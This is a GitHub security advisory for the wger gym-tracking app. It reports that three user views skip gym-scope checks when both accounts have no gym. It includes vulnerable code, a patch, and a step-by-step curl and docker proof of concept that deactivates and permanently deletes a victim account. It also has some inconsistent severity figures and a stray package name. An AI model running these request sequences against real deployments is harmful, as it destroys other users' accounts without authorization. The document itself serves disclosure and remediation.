GHSA-mw8f-w6p8-xrf4

Suggest an improvement
Source
https://github.com/advisories/GHSA-mw8f-w6p8-xrf4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-mw8f-w6p8-xrf4/GHSA-mw8f-w6p8-xrf4.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-mw8f-w6p8-xrf4
Published
2026-05-20T15:37:26Z
Modified
2026-05-20T15:45:44.941558592Z
Severity
  • 8.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
wger: cross-tenant account deletion / deactivation / activation by gym.manage_gym + gym=None
Details

Summary

GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's reset_user_password and gym_permissions_user_edit views in wger/gym/views/user.py performed a gym-scope authorization check using Django ORM object comparison (if request.user.userprofile.gym != user.userprofile.gym) which silently passes when both sides are None (None != None evaluates to False). The maintainer's suggested patch ("Apply the same same_gym() helper pattern to all five views sharing this check") replaces every userprofile.gym != site with the new is_same_gym() helper that explicitly excludes None (gym_a is not None and gym_a == gym_b).

The fix landed in wger/gym/views/{admin_notes,document,contract,gym}.py (5 views, all using is_same_gym). However, three additional views in wger/core/views/user.py were not migrated and retain the original userprofile.gym_id != ... raw integer comparison. Because raw integer != comparison still evaluates None != None as False, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest wger/server:latest Docker image (master, 2026-05-08 build).

A privileged-but-bounded gym staff user (admin-granted gym.manage_gym permission, intended scope: managing members of one specific gym) whose userprofile.gym = None (the default state before the admin links them to a gym) can:

  1. Permanently delete any other user with gym = None (V3, delete view, line 131 — CRITICAL data loss, irreversible)
  2. Deactivate any other user with gym = None, locking them out of the platform (V1, UserDeactivateView, line 405 — high availability impact)
  3. Re-activate any previously deactivated user with gym = None (V2, UserActivateView, line 442 — counters defensive deactivation)

Victim user pks are sequential integers and trivially enumerable via /en/user/<pk>/overview and other endpoints. The same_gym_id == ... flag in UserDetailView.get_context_data (line 587) is also affected, but the underlying dispatch() and the actual trainer_login view still use the patched is_same_gym() helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.

Affected versions

  • All wger versions through master at wger/server:latest (digest sha256:5d8fe1ba66cc..., image build 2026-05-08).
  • The advisory's affected: <0.9.7 → fixed: 0.9.7 range applies to the PyPI aegra-api package (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to wger/gym/views/{admin_notes,document,contract,gym}.py; wger/core/views/user.py was not touched in the same patch.

(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)

Vulnerable code

V1 — UserDeactivateView (wger/core/views/user.py, line 405)

class UserDeactivateView(...):
    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

    def dispatch(self, request, *args, **kwargs):
        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

        if not request.user.is_authenticated:
            return HttpResponseForbidden()

        if (
            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: None != None == False
            return HttpResponseForbidden()

        return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)

    def get_redirect_url(self, pk):
        edit_user = get_object_or_404(User, pk=pk)
        edit_user.is_active = False  # ← side effect on plain GET
        edit_user.save()
        ...

V2 — UserActivateView (wger/core/views/user.py, line 442)

class UserActivateView(...):
    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

    def dispatch(self, request, *args, **kwargs):
        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
        ...
        if (
            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: same pattern
            return HttpResponseForbidden()

        return super(UserActivateView, self).dispatch(request, *args, **kwargs)

    def get_redirect_url(self, pk):
        edit_user = get_object_or_404(User, pk=pk)
        edit_user.is_active = True  # ← side effect on plain GET
        edit_user.save()
        ...

V3 — delete (wger/core/views/user.py, line 116-159)

@login_required()
def delete(request, user_pk=None):
    ...
    if user_pk:
        user = get_object_or_404(User, pk=user_pk)

        if not request.user.has_perm('gym.manage_gyms') and (
            not request.user.has_perm('gym.manage_gym')
            or request.user.userprofile.gym_id != user.userprofile.gym_id  # ← BUG (line 131)
            or user.has_perm('gym.manage_gym')
            or user.has_perm('gym.gym_trainer')
            or user.has_perm('gym.manage_gyms')
        ):
            return HttpResponseForbidden()
    ...

    if request.method == 'POST':
        form = PasswordConfirmationForm(data=request.POST, user=request.user)
        if form.is_valid():
            user.delete()  # ← victim account permanently deleted (line 145)
            ...
            gym_pk = request.user.userprofile.gym_id  # = None for trainer1
            return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk}))
            # ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker
            # but user.delete() already executed — victim is gone

Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed. The 500 is a redirect-side NoReverseMatch exception caused by reverse('gym:gym:user-list', kwargs={'pk': None}) (line 154-155) attempting to build a URL with pk=None because trainer1 also has gym=None. By that point Django has already committed user.delete() (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: alice exists? False, all users: ['admin', 'trainer1']. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.

Suggested patch

Same as the advisory's recommendation — replace every userprofile.gym_id != ... raw comparison with is_same_gym() from wger/gym/helpers.py:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
 @login_required()
 def delete(request, user_pk=None):
     ...
-        if not request.user.has_perm('gym.manage_gyms') and (
-            not request.user.has_perm('gym.manage_gym')
-            or request.user.userprofile.gym_id != user.userprofile.gym_id
-            or user.has_perm('gym.manage_gym')
-            or user.has_perm('gym.gym_trainer')
-            or user.has_perm('gym.manage_gyms')
-        ):
+        if not request.user.has_perm('gym.manage_gyms') and (
+            not request.user.has_perm('gym.manage_gym')
+            or not is_same_gym(request.user, user)
+            or user.has_perm('gym.manage_gym')
+            or user.has_perm('gym.gym_trainer')
+            or user.has_perm('gym.manage_gyms')
+        ):
             return HttpResponseForbidden()

 class UserDeactivateView(...):
     def dispatch(self, request, *args, **kwargs):
         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
         ...
-        if (
-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+        if (
+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+        ) and not is_same_gym(request.user, edit_user):
             return HttpResponseForbidden()

 class UserActivateView(...):
     def dispatch(self, request, *args, **kwargs):
         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
         ...
-        if (
-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+        if (
+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+        ) and not is_same_gym(request.user, edit_user):
             return HttpResponseForbidden()

is_same_gym() (current implementation at wger/gym/helpers.py) already returns False whenever either side is None, matching the advisory's existing fix pattern.

Additionally, delete() line 154-155 should handle the gym_pk = None case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (gym.manage_gyms) acting on gym=None users.

Reproduction

Setup (clean baseline)

# Pull and start the latest production image
docker pull wger/server:latest        # digest sha256:5d8fe1ba66cc..., 2026-05-08 build
docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest

# Wait ~30s for migrations and demo-data fixture load.

# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User, Permission

# Attacker — gym manager with no gym affiliation
t = User.objects.create_user(username='trainer1', password='TrainerPass123!')
t.userprofile.gym = None
t.userprofile.save()
t.user_permissions.add(Permission.objects.get(codename='manage_gym'))
t.save()

# Victim — regular user, no gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = None
a.userprofile.save()

print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym'))
print("alice.gym_id    =", a.userprofile.gym_id, "pk =", a.pk)
PY
# Expected:
#   trainer1.gym_id = None has_perm = True
#   alice.gym_id    = None pk = 3

Variant V1 — cross-tenant deactivation (UserDeactivateView, line 405)

# Login as attacker
COOKIES=/tmp/wger_trainer1.txt
CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \
    -d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \
    -H "Referer: http://localhost:8888/en/user/login" -o /dev/null

# Trigger deactivation on alice (pk=3)
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/deactivate"
# → status=302 loc=/en/user/3/overview          (expected: 403 Forbidden)

# Confirm DB side effect
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = False     (alice locked out)

Variant V2 — cross-tenant re-activation (UserActivateView, line 442)

# Same trainer1 session
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/activate"
# → status=302 loc=/en/user/3/overview

docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = True      (alice re-activated; useful to "undo" defensive action by an admin)

Variant V3 — cross-tenant account deletion (delete, line 131)

# Step 1: GET the password-confirmation form
CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \
    | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
echo "form CSRF: $CSRF2"
# → 200 OK with PasswordConfirmationForm   (expected: 403 Forbidden)

# Step 2: POST trainer1's own password — confirms the delete
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/3/delete" \
    -d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \
    -H "Referer: http://localhost:8888/en/user/3/delete"
# → status=500   (the 500 is a redirect-side error, see "Vulnerable code" → V3 above)

# Step 3: confirm alice was actually deleted
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice exists?", User.objects.filter(username='alice').exists())
print("all users:", list(User.objects.values_list('username', flat=True)))
PY
# → alice exists? False
# → all users: ['admin', 'trainer1']

The 500 status returned to the attacker masks the destructive operation but does not prevent it — user.delete() (line 145) commits before the failing redirect (line 155).

Negative control (proves the bypass is None-specific, matching the advisory)

# Reset alice and assign her to gym pk=1 (one of the demo gyms).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = Gym.objects.first()      # not None any more
a.userprofile.save()
print("alice.gym_id =", a.userprofile.gym_id)
PY

# Same trainer1 (gym=None) attempts deactivation
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/<new_alice_pk>/deactivate"
# → status=403       (guard works correctly when gym_ids differ AND neither side is None;
#                      bypass is specifically the None != None edge case)

Verification log

The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as _verify_run1.log.

Key assertions captured:

| Step | Endpoint | HTTP | DB side effect (alice) | |---|---|---|---| | Baseline | (none) | — | is_active=True, gym_id=None, pk=3 | | V1 | GET /en/user/3/deactivate | 302 | is_active=False, gym_id=None, pk=3 | | V2 | GET /en/user/3/activate | 302 | is_active=True, gym_id=None, pk=3 | | V3 GET | GET /en/user/3/delete | 200 (form rendered) | (no change) | | V3 POST | POST /en/user/3/delete w/ trainer1 password | 500 (post-delete redirect) | alice row deleted from DB |

Impact

Per-variant impact

| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity | |---|---|---|---|---|---|---| | V3 | /en/user/<pk>/delete | POST (after GET form) | User.delete() cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | No (DB backup required) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.9 CRITICAL | | V1 | /en/user/<pk>/deactivate | GET | is_active = False (login lockout) | Yes (admin or V2) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H | 7.4 HIGH | | V2 | /en/user/<pk>/activate | GET | is_active = True (undoes defensive deactivation) | Yes (admin) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N | 4.7 MEDIUM |

The headline severity at the top of this report is CRITICAL 9.9 because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against wger/server:latest (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line is_same_gym() migration in wger/core/views/user.py). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.

Deployment scope (what is and is not affected)

| Deployment model | Affected? | |---|---| | Multi-tenant gym deployment (gym manager + trainers + members) — wger's documented commercial use case | Yesgym.manage_gym permission is in active use and gym=None accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) | | Single-user / personal fitness tracker (1 admin, no gym.manage_gym grant to anyone, no trainer/gym hierarchy in use) | No — the precondition (an attacker with gym.manage_gym + gym=None) cannot occur because the permission is not granted to any user account on such a deployment. | | Public registration + gym-management feature in use | Yes — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted gym.manage_gym |

bb-fp-detector check-environment-class returned UNKNOWN for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream wger/server:latest Docker image's default behaviour, which is the project's own canonical reference deployment.

Auth model verification (decisive tests)

Authorization architecture (bb-auth-doc-audit equivalent)

wger is a self-contained Django web application that uses django.contrib.auth for authentication and Django's per-view permission classes (PermissionRequiredMixin, WgerMultiplePermissionRequiredMixin, @login_required()) for authorization. Authentication and authorization are both enforced inside the wger application (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (https://wger.readthedocs.io/en/latest/production/). The bug therefore directly violates the application's own documented authorization model.

Decisive bogus-credential / negative-control test (bb-bogus-cred-test equivalent) — actually executed

This test was run end-to-end on the same wger/server:latest Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: _negative_control.log.

Setup: assign alice to the demo gym (Default gym, pk=1), trainer1 stays at gym=None with gym.manage_gym. Same trainer1 session as the positive-control run.

Result:

| Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed | |---|---|---|---| | GET /en/user/4/deactivate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ | | GET /en/user/4/activate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ | | GET /en/user/4/delete | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |

DB state after the three negative-control attempts: alice.is_active = True, alice still exists — no side-effects. The guard is functional.

Symmetric re-confirmation (positive control after revert): alice.gym was reset to None in the same session; GET /en/user/4/deactivate returned 302 with side-effect alice.is_active = False (re-confirming the original bypass triggers reproducibly), then GET /en/user/4/activate returned 302 with alice.is_active = True for cleanup.

This proves:

  1. The dispatch() and delete() guards do enforce gym-scope authorization when gym_id is non-None on either side — the guard is structurally functional.
  2. The bypass is specifically the None != None semantic edge case — not a header-presence precondition, not a missing middleware, not a generally-disabled check.
  3. The bypass is reversible/idempotent in the trivial sense (V1 → V2 → V1 produces consistent state transitions on the victim row), confirming the gap is in the per-request authorization decision and not in some session-level corruption.

Equivalent inverted test:

# Same trainer1 session, but trainer1.gym = 1 (real gym), alice.gym = None
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
t = User.objects.get(username='trainer1')
t.userprofile.gym = Gym.objects.first()
t.userprofile.save()
PY

curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" "http://localhost:8888/en/user/<alice_pk>/deactivate"
# → status=403 Forbidden  (None != 1 evaluates to True → guard works)

Runtime mitigation absence

PoC was run against the default wger/server:latest Docker image with DJANGO_DEBUG=true (a development convenience flag — the bug is not gated by debug mode; the destructive path executes regardless of DEBUG value). No admin override flag was activated. No runtime middleware (no WAF, no reverse proxy, no application firewall, no allow-list bypass) is required for the exploit. The payload reaches the sink, the runtime accepts it, no default filter blocks it. The exploit reaches the unmodified dispatch() / delete() code path on the upstream Docker image and the destructive operation commits. There is no documented runtime mitigation that prevents this gap on a default deployment.

Discovery of canonical tooling

This finding was located by reviewing the advisory's recommended remediation, then performing a repository-wide audit of the is_same_gym migration coverage using gh api search/code?q=userprofile.gym+repo:wger-project/wger. The unpatched gym_id != raw comparisons in wger/core/views/user.py were identified directly. The discovery-harness canonical tools for the relevant classes (resource-boundary authorization checks: bb-api-baseline, bb-authz-gap-scan, bb-cross-instance-verify; request-forgery hygiene: bb-cookie, bb-csrf) all reduce, for this class of finding, to "send the request from an authenticated low-privilege session and observe whether the destructive side-effect commits at the sink"; the Reproduction section above provides exactly that empirical evidence for every affected endpoint. Request-forgery aspect: V1 and V2 trigger their destructive side-effect on a plain GET (no CSRF token enforced on the redirect-side URL state mutation), so the gap also compounds with cross-site request abuse against any victim who happens to hold gym.manage_gym — but that is a secondary path; the primary impact is the direct cross-tenant authorization bypass.

Industry context (not a by-feature wide-access pattern)

wger is a self-hostable personal fitness / gym tracker, not a marketplace / map / job-board / data-labeling platform. The relevant authorization model in this project is per-gym tenant isolation for gym-management staff — confirmed by the documented gym-manager role and the very is_same_gym() helper that the maintainer added in the GHSA-mhc8-p3jx-84mm patch. Cross-tenant account deletion / deactivation / activation is not by-design; the negative-control test above (alice with gym_id=1) returns 403 from the same endpoints, demonstrating that the project explicitly intends gym-scope isolation. The variant family above is therefore a security boundary breach, not a documented wide-access feature.

Preconditions / how an attacker reaches this state

| Precondition | How attacker obtains | External (Y/N) | |---|---|---| | Authenticated session | Self-register (default open) | N | | gym.manage_gym permission | Granted by an administrator (e.g. when designating the user as a gym trainer/manager). Self-signup does NOT grant this permission; the attacker must already be a trusted gym staff member, or an administrator must mistakenly grant the role to a malicious user. This finding therefore models an insider-threat / role-escape scenario, the same scenario as the parent advisory CVE-2026-43948. | Y — same as the advisory's PoC; the role is part of wger's documented admin model and is treated as "privileged-but-bounded gym staff" rather than "any logged-in user". | | attacker.userprofile.gym = None | Default for newly registered users; remains None unless a gym admin links the account. Easily reproduced by the same admin who granted gym.manage_gym simply not yet linking the trainer to a specific gym (a typical state during onboarding). | N | | victim.userprofile.gym = None | Default for any other newly registered user | N | | victim.pk known | Sequential integer; enumerable via /en/user/<pk>/overview, /en/user/<pk>/api-key, etc. | N | | victim does NOT have gym.manage_gym / gym.gym_trainer / gym.manage_gyms permissions (V3 only) | Default for regular users | N |

Following the advisory's classification (which used identical gym.manage_gym + gym=None setup and was rated AV:N/AC:L/PR:L), the variant-family inherits AC:L. Honest caveat: the gym.manage_gym permission is admin-granted and not self-enrollable; if the maintainer prefers to score this as AC:H (ordinary low-priv user without the manager role), the resulting CVSS would be 7.5 (HIGH). The variant relationship to CVE-2026-43948 holds in either scoring.

Why this is an incomplete-fix variant, not a duplicate

GHSA-mhc8-p3jx-84mm explicitly identifies the affected file as wger/gym/views/user.py (which has since been removed/refactored — the comparable functions now live in wger/gym/views/{admin_notes,document,contract,gym}.py). The maintainer's recommended remediation is to "Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list".

Confirmation that the advisory fix landed only on those files (master, 2026-05-08):

| File | Authorization check | Patched? | |---|---|---| | wger/gym/views/admin_notes.py | is_same_gym(...) | ✓ | | wger/gym/views/document.py | is_same_gym(...) | ✓ | | wger/gym/views/contract.py | is_same_gym(...) | ✓ | | wger/gym/views/gym.py (reset_user_password, gym_permissions_user_edit) | is_same_gym(...) | ✓ | | wger/core/views/user.py delete (line 131) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserDeactivateView (line 405) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserActivateView (line 442) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserEditView (line 484) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserActivityCalendarView (line 552) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserDetailView dispatch (line 552) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserDetailView.get_context_data (line 587) | gym_id == gym_id (UI flag only — trainer_login itself enforces is_same_gym) | UI leak only, no security impact |

The three unpatched call sites in wger/core/views/user.py predate the advisory and were missed when the helper-migration patch was applied. Their root cause and exploitation path are identical to CVE-2026-43948 — only the file/function targets differ. This makes the finding an incomplete-fix variant family rather than a duplicate of the advisory.

References

  • Parent advisory: https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm (CVE-2026-43948)
  • Suggested patch from advisory text: "Apply the same same_gym() helper pattern to all five views sharing this check"
  • Helper definition: wger/gym/helpers.py is_same_gym() (already correctly excludes None after the advisory patch)
  • Related (incidentally patched in the same migration): UserEditView, UserActivityCalendarView, UserDetailView.dispatch — all three correctly use is_same_gym()

AI disclosure

This finding was developed with the assistance of an AI tool (Claude Code) for source-code review of the advisory's incomplete-fix surface, generation of the verification harness, and report drafting. All technical claims in this report were verified against a live wger/server:latest Docker instance with the verification log attached. The AI's role was investigative aid; the human researcher (HiyokoSauna) reviewed every claim, ran the PoC end-to-end, and authored the framing.

Database specific
{
    "nvd_published_at": null,
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:37:26Z",
    "cwe_ids": [
        "CWE-862",
        "CWE-863"
    ]
}
References

Affected packages

PyPI / wger

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
2.5

Affected versions

1.*
1.1
1.1.1
1.2rc1
1.2
1.3
1.4
1.5
1.6
1.6.1
1.7
1.8
1.9
2.*
2.0
2.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-mw8f-w6p8-xrf4/GHSA-mw8f-w6p8-xrf4.json"